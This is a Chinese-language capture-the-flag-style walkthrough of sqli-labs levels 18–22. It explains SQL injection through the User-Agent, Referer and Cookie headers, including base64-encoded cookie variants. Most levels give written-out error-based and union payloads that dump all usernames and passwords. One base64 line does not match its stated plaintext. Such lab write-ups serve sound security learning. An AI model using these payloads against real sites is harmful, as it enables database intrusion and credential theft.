【第十八关】基于POST错误的Uagent字段数据头注入
Ⅰ 判断注入点
用常规注入、报错注入、延时注入、布尔注入都不行。
看一下题目,一直显示我的IP地址
直接看源码,第一眼就是一个check_input()函数,用于检查输入参数的正确性
再往下看源码,发现存在检查账号密码,代码中对uname和passwd进行了check_input()函数的处理,在输入uname和passwd上进行注入是不行的。
所以必须知道一个密码,这道题有点像越权漏洞,通过一个已知账号,寻找其他用户账号密码
直接弱密码,amdin+admin,发现登录进去,我们便知道了一个条件,再往下看源码
这句话,将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分
抓包,修改useragent信息头
-- 直接在uer Agent 后面拼接报错注入
uerAgent
构造playload,成功
-- uagent,ip_address,username
1' 1,1)#
Ⅱ 常规报错注入
(1)爆数据库
User-Agent: 1' ,1,extractvalue('anything',concat('~',(select database()),'~')))#
(2)其余操作跟十七关一样,直接爆数据
User-Agent: 1' ,1,extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~')))#
参考资料:
【第十九关】基于POST错误的Referer字段数据头注入
Ⅰ 判断注入点
直接常规的注入,是看不出来变化,直接看源码,跟十八关很像
源码上,存在两个信息
- 账号密码有检测,必须知道一个账号密码
- 存在数据包注入,通过注入referer和ip_address,进行报错回显
构造playload
1',1)#
-- 多出一个闭合
Ⅱ 常规注入
爆数据库
Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select database()),'~')))#
爆数据
Referer: http://sqli.exp-9.com/Less-19/1',extractvalue('anything',concat('~',(select group_concat(username,'~',password)
from security.users),'~')) )#
【第二十关】基于错误的cookie头部POST注入
Ⅰ 判断注入点
直接输入已知账号密码admin+admin,显示这个,
提示我的cookie为“uname=admin~~~~”,结合源码,可以知道需要用cookie进行注入
构造playload
Cookie: uname=admin' #
Ⅱ cookie注入
Cookie: uname=admin' and extractvalue('~',concat('~',( select database() ),'~') ) #
爆数据
Cookie: uname=admin' and extractvalue('anything',concat('~',(select group_concat(username,'~',password) from security.users),'~'))#
【第二十一关】基于base64编码单引号的Cookie注入
Ⅰ 判断注入点
直接输入已知账号密码,显示出被base64编码的admin
构造playload
Cookie: uname=base64编码后的sql注入语句
判断注入点
Cookie: uname=admin' and 1=1 --+
Cookie: uname=YWRtaW4nIGFuZCAxPTEgLS0r
发现存在“')”,也就是单引号+闭合注入
Ⅱ cookie编码注入
构造playload
Cookie: uname = admin') XXXXX #
爆数据库
-admin') union select database(), 2,3 # -- 明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM= -- 密文
直接跳到拿数据库
-admin') union select 1,(select concat_ws('~',username,password) from security.users ),3 # -- 明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBjb25jYXRfd3MoJ34nLHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzICksMyAj -- 密文
【第二十二关】基于base64编码双引号的Cookie注入
Ⅰ 判断注入点
首先感觉这个很玄虚,一开始我是知道是用双引号注入的,然后就用这句admin",去编码,并注入,并没有回显任何的信息,然后过了几分钟,再试一下,发现又可以了
注入单引号时,没有报错
注入双引号,报错,提示只有双引号
构造playload
Cookie: uname=admin" XXX #
Ⅱ 直接爆数据
-admin" union select 1,(select group_concat('~',username,password) from security.users limit 0,1),3 #
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCgnficsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMgbGltaXQgMCwxKSwzICM=